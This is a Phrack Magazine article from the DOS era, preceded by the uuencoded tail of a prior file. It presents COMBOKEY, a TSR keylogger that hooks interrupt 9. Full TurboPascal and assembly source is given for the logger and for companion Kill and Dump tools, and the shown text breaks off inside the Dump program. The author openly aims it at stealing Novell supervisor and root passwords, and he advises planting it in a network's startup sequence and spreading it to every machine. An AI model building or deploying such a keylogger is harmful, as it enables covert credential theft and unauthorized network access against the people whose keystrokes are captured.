M"_M%Q/I;_"+\&QO&>:;_NQA?3.>_PM6"$GS1G\'WK]^_AI_@*J?!17A]S/Z#
|
||
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
|
||
M,2Y!4TU02P$"%``4````"`!*4C`=CCHX#\L(``#X'P``#``````````!`"``
|
||
M``#P"```5$5,14-21#(N05--4$L!`A0`%`````@`FT0N'<0;&V`*!0``/!<`
|
||
M``P``````````0`@````Y1$``%1%3$5#05)$+D(P,5!+`0(4`!0````(`*)$
|
||
M+AW[.7CW$P4````@```,````````````(````!D7``!414Q%0T%21"Y#35!0
|
||
M2P$"%``4````"`!K4C`=UE#(="T(````'```#````````````"````!6'```
|
||
M5$5,14-21#$N0T]$4$L!`A0`%`````@`;5(P'=:1H<KU!P```!X```P`````
|
||
M```````@````K20``%1%3$5#4D0R+D-/1%!+`0(4`!0````(`$!#'!UNJ^N<
|
||
MP`0``&(3```*``````````$`(````,PL``!024-214<N15%54$L!`A0`%```
|
||
M``@`:U(P'2C2B*Y<````?`$```P``````````0`@````M#$``%1%3$5#4D0Q
|
||
M+D524E!+`0(4`!0````(`&U2,!TIRVCV9P```)`#```,``````````$`(```
|
||
M`#HR``!414Q%0U)$,BY%4E)02P$"%``4````"`!K4C`=#LVE_>8!``"G!```
|
||
M#``````````!`"````#+,@``5$5,14-21#$N2$584$L!`A0`%`````@`;5(P
|
||
M'=V65G;,`0``800```P``````````0`@````VS0``%1%3$5#4D0R+DA%6%!+
|
||
M`0(4`!0````(`&M2,!T#9[*E[!@```1V```,``````````$`(````-$V``!4
|
||
M14Q%0U)$,2Y,4U102P$"%``4````"`!M4C`=SK(OU808``"#=0``#```````
|
||
M```!`"````#G3P``5$5,14-21#(N3%-44$L!`A0`%`````@`,Z`M'>O)T?/$
|
||
M````M0$```P``````````0`@````E6@``%1%3$5#05)$+DY%5%!+`0(4`!0`
|
||
M```(`)=`+AU%6_@T604``#X-```,````````````(````(-I``!414Q%0T%2
|
||
M1"Y00T)02P$"%``4````"`#V4C`=Q).SI$,)```@R`4`#````````````"``
|
||
M```&;P``5$5,14-!4D0N4%).4$L!`A0`%`````@`BG8O'45.SGID!0``S!<`
|
||
M``P``````````0`@````<W@``%1%3$5#05)$+E,P,5!+!08`````$0`1`-@#
|
||
(```!?@``````
|
||
`
|
||
end
|
||
sum -r/size 61640/45861 section (from "begin" to "end")
|
||
sum -r/size 58373/33263 entire input file
|
||
|
||
------------------------------------------------------------------------------
|
||
<UUEncoded Part Ends Here!>.
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 12 of 18
|
||
|
||
|
||
COMBOKEY and the Simplistic Art of PC Hacking
|
||
-or-
|
||
KeyTrap Revisited
|
||
|
||
by Sendai
|
||
(with apologies to Dcypher)
|
||
|
||
NOTE: Of course I take no responsibility when you use this and get
|
||
kicked out of school or something stupid. Besides, why would you be so
|
||
stupid as to get caught in the first place? :-) So be careful, and have
|
||
fun. Don't get stupid.
|
||
|
||
WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:
|
||
* At least a reading knowledge of TurboPascal and 8086 assembly
|
||
* A tolerable understanding of how the PC actually works or
|
||
* A copy of Queue's "MS-DOS Programmer's Reference"
|
||
* A copy of that yellow-spined "Indespensable PC Hardware Reference" book
|
||
|
||
|
||
ON WITH IT...
|
||
It was with a little dissatisfaction that I read Dcypher's KeyTrap
|
||
article the other day (so I'm back-logged a few issues, so sue me!)
|
||
I've been foolin' around with a version of this that I first wrote about
|
||
five years ago during high school, and well, I thought mine was a little
|
||
easier to understand.
|
||
|
||
So I'm gonna show you my version, actually explain how the damn thing
|
||
works, and hope somebody out there has their day brightened by using
|
||
this program.
|
||
|
||
Note that the only reason I wrote this thing was to record passwords on
|
||
a Novell net. It will record all keypresses, but it really has limited
|
||
use other than hacking.
|
||
|
||
Fun fact: With this program, it has taken me an average of about six
|
||
hours to snag supervisor on every Novell net I've nailed. And I'm sure
|
||
you can do better. ;-)
|
||
|
||
|
||
PC KEYBOARD HANDLING 101
|
||
Okay, a quick review for those PC newbies out there. When a key is
|
||
pressed on a PC, it generates an interrupt 9 (keyboard interrupt),
|
||
causing the machine to look up the address of the 9th Interrupt Service
|
||
Routine. The ISR is typically in ROM; the interrupt vector itself is
|
||
not.
|
||
|
||
A key recorder is a program that simply latches itself into the
|
||
interrupt 9 handler by replacing the old vector with its own address.
|
||
By doing this, every time a key is pressed, we know about it.
|
||
|
||
|
||
ENTER COMBOKEY (That'd be the key recorder)
|
||
I differ with my strategy from Dcypher in that I don't bother going
|
||
directly to the keybard hardware. COMBOKEY just goes ahead and calls
|
||
the old ISR and then looks in the BIOS keyboard buffer to see what the
|
||
key was. Yeah, you don't get the funky-ass key combinations like
|
||
control-shift-right-alt-F2-Z, but hey, I'm just after the passwords.
|
||
|
||
When a new key is pressed, it's dumped in the buffer. When the buffer
|
||
is full, nothing happens. I'll leave writing it to a file as an
|
||
exercise to the reader.
|
||
|
||
My favorite feature, if I may say so myself, is the fact that COMBOKEY
|
||
has an API in it, sort of. Interrupt 255 is also latched and provides
|
||
the "user" an interface to the presently running copy of COMBOKEY. But
|
||
not just anyone can go poking into 255 to kill COMBOKEY or get a buffer
|
||
dump or whatever. First, you gotta send a combination.
|
||
|
||
Look at the "const" section of COMBOKEY and you'll see a constant array
|
||
of four bytes. Change these numbers to whatever the hell you want. To
|
||
use the COMBOKEY interface you need to send each of these bytes
|
||
sequentially in AX to ISR 255. Look at the "DoCombo" procedure in Dump
|
||
or Kill to see what I mean.
|
||
|
||
After you send the combo, you send one more byte that represents the
|
||
command.
|
||
|
||
Dump buffer: AX=C0h Dumps the buffer to a chunk of memory at ES:DI.
|
||
Get info: AX=C2h Sends a TinfoRec (see source) to ES:DI.
|
||
Kill: AX=C1h Deactivates the recorder.
|
||
|
||
There are two additional programs following: Dump and Kill. These just
|
||
use the interface to do their appropriate actions.
|
||
|
||
THE PROPER ETIQUETTE OF COMBOKEY
|
||
There's a good deal of social engineering involved with using COMBOKEY.
|
||
Since it works on only the machine you put it on, you have to know where
|
||
to put it in the first place to be most effective. (Or be really
|
||
resourceful and put it on every machine around.)
|
||
|
||
To maximize your amusement, get the supervisor password first, and then
|
||
put this program in the startup sequence of the network. Then go nuts.
|
||
|
||
This program gets REALLY fun when your net is equipped with TCP/IP apps
|
||
like Telnet, and some moron has their home machine hooked up to the
|
||
Net, and they actually log into it with root from your net. Instant
|
||
party.
|
||
|
||
NEAT TRICKS TO TRY
|
||
If I ever get around to it, it'd be cool to use the IPX interface to
|
||
actually broadcast the keystrokes over to a waiting machine for instant
|
||
feedback.
|
||
|
||
The next trick to try is to maybe build a hardware version of this with
|
||
a little microcontroller. A Motorola 68HC11 would do nicely. This
|
||
would get rid of the pesky problem of reseting the machine or turning
|
||
the power off.
|
||
|
||
Ah well. Comments and the like to jsrs@cyberspace.com. Happy hunting.
|
||
|
||
-------------------------------------------------------------------------------
|
||
{ Source notes:
|
||
This'll compile on TurboPascal 6 or better. Might even work with 5.
|
||
Why Turbo? Cause it generates damn tight code, and it's much more readable
|
||
for the newbies than all assembly. }
|
||
|
||
{ComboKey - It's a TSR, so we gotta do the mem setup. }
|
||
{$M 1024, 0, 2100}
|
||
program ComboKey;
|
||
|
||
uses Dos; { For Keep() }
|
||
|
||
const
|
||
DUMP_BUFFER = $C0;
|
||
KILL_RECORDER = $C1;
|
||
GET_INFO = $C2;
|
||
|
||
BUFSIZE = 2048; { In bytes, NOT paragraphs! }
|
||
DISPLAY_MAX = 100;
|
||
combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );
|
||
|
||
type
|
||
PBuf = ^TBuf;
|
||
TBuf = Array[0..BUFSIZE-1] of Byte;
|
||
PInfoRec = ^TInfoRec;
|
||
TInfoRec = record
|
||
buffer_size: Word; { Word is 16 bit, unsigned }
|
||
overwrite: Word;
|
||
buffer_ptr: Word;
|
||
end;
|
||
|
||
var
|
||
old9o, old9s: Word; { Must be in this order! }
|
||
wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
|
||
q_top: Word absolute $40:$80;
|
||
q_bot: Word absolute $40:$82;
|
||
buffer: PBuf;
|
||
buf_ptr: Word;
|
||
overwrite_ctr: Word;
|
||
last_wptr: Word;
|
||
tumbler: Byte; { How many numbers in the combo right so far? }
|
||
|
||
procedure SetVector( int: Byte; s, o: Word);
|
||
begin
|
||
asm
|
||
push ds
|
||
cli
|
||
mov ah, 25h
|
||
mov al, int
|
||
mov ds, s
|
||
mov dx, o
|
||
int 21h
|
||
sti
|
||
pop ds
|
||
end;
|
||
end;
|
||
|
||
procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
|
||
interrupt;
|
||
var
|
||
offset: Word;
|
||
c: Byte;
|
||
l: Word;
|
||
ctr: Word;
|
||
begin
|
||
{ First call the old handler. Do the pushf, cause this is an
|
||
interrupt handler. }
|
||
asm
|
||
pushf
|
||
call dword ptr [old9o] { Since old9s is next, it works }
|
||
cli
|
||
end;
|
||
|
||
{ This isn't a press, but a release - ignore it. }
|
||
if last_wptr = wptr then Exit;
|
||
|
||
last_wptr:=wptr;
|
||
|
||
{ Did the queue just wrap? }
|
||
if (wptr = q_top) then offset:=q_bot-2
|
||
else offset:=wptr-2;
|
||
|
||
Inc(buf_ptr);
|
||
if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
|
||
buf_ptr:=0;
|
||
Inc(overwrite_ctr);
|
||
end;
|
||
|
||
buffer^[buf_ptr]:=Mem[$40:offset];
|
||
|
||
asm
|
||
sti
|
||
end;
|
||
end;
|
||
|
||
{ Here's the interface system. Don't bother saving the old $FF,
|
||
cause who uses it anyway?! }
|
||
procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
|
||
interrupt;
|
||
var
|
||
command: Word;
|
||
res, rdi: Word;
|
||
infoptr: PInfoRec;
|
||
l: Word;
|
||
begin
|
||
command:=AX;
|
||
res:=ES;
|
||
rdi:=DI;
|
||
|
||
if tumbler=4 then begin { we have a winner... }
|
||
tumbler:=0;
|
||
asm
|
||
sti
|
||
end;
|
||
|
||
case command of
|
||
DUMP_BUFFER: begin
|
||
asm
|
||
push ds
|
||
mov cx, BUFSIZE
|
||
mov es, [res]
|
||
mov di, [rdi]
|
||
mov ax, [WORD PTR buffer+2]
|
||
mov ds, ax
|
||
mov ax, [WORD PTR buffer]
|
||
mov si, ax
|
||
|
||
cld
|
||
rep movsb
|
||
pop ds
|
||
end;
|
||
end;
|
||
|
||
KILL_RECORDER: begin
|
||
SetVector(9, old9s, old9o);
|
||
end;
|
||
|
||
GET_INFO: begin
|
||
asm
|
||
mov es, [res]
|
||
mov di, [rdi]
|
||
mov ax, BUFSIZE
|
||
mov es:[di], ax
|
||
mov ax, [overwrite_ctr]
|
||
mov es:[di+2], ax
|
||
mov ax, [buf_ptr]
|
||
mov es:[di+4], ax
|
||
end;
|
||
end;
|
||
end;
|
||
|
||
asm
|
||
cli
|
||
end;
|
||
end;
|
||
|
||
if command=combo[tumbler] then Inc(tumbler)
|
||
else tumbler:=0;
|
||
end;
|
||
|
||
begin
|
||
asm
|
||
mov ah, $35
|
||
mov al, 9
|
||
int $21
|
||
|
||
mov ax, es
|
||
mov old9s, ax
|
||
mov old9o, bx
|
||
end;
|
||
|
||
SetVector(9, Seg(NewInt09), Ofs(NewInt09));
|
||
SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));
|
||
|
||
buffer:=New(PBuf);
|
||
buf_ptr:=0;
|
||
overwrite_ctr:=0;
|
||
last_wptr:=0;
|
||
tumbler:=0;
|
||
|
||
Keep(0);
|
||
end.
|
||
|
||
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
{ Kills the keyrecorder }
|
||
program Kill;
|
||
|
||
const
|
||
combo0 = 01;
|
||
combo1 = 01;
|
||
combo2 = 19;
|
||
combo3 = 74;
|
||
|
||
KILL_RECORDER = $C1;
|
||
|
||
procedure ResetCombo;
|
||
var
|
||
l: Word;
|
||
begin
|
||
for l:=1 to 4 do asm
|
||
mov ax, 0
|
||
int $ff
|
||
end;
|
||
end;
|
||
|
||
procedure DoCombo;
|
||
begin
|
||
asm
|
||
mov ax, combo0
|
||
int $ff
|
||
mov ax, combo1
|
||
int $ff
|
||
mov ax, combo2
|
||
int $ff
|
||
mov ax, combo3
|
||
int $ff
|
||
end;
|
||
end;
|
||
|
||
begin
|
||
ResetCombo;
|
||
DoCombo;
|
||
asm
|
||
mov ax, KILL_RECORDER
|
||
int $ff
|
||
end;
|
||
end.
|
||
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
{ Syntax:
|
||
DUMP DESTFILE.FIL
|
||
|
||
This'll dump the buffer information and contents to the file. If
|
||
no file is given, it goes to the screen. }
|
||
|
||
program Dump;
|
||
|
||
const
|
||
combo0 = 01;
|
||
combo1 = 01;
|
||
combo2 = 19;
|
||
combo3 = 74;
|
||
|
||
DUMP_BUFFER = $C0;
|
||
GET_INFO = $C2;
|
||
|
||
type
|
||
PInfoRec = ^TInfoRec;
|
||
TInfoRec = record
|
||
buffer_size: Word;
|
||
overwrite: Word;
|
||
buffer_ptr: Word;
|
||
end;
|
||
|
||
var
|
||
info: TInfoRec;
|
||
buffer: Array[0..8191] of Byte;
|
||
l: Word;
|
||
f: Text;
|
||
|
||
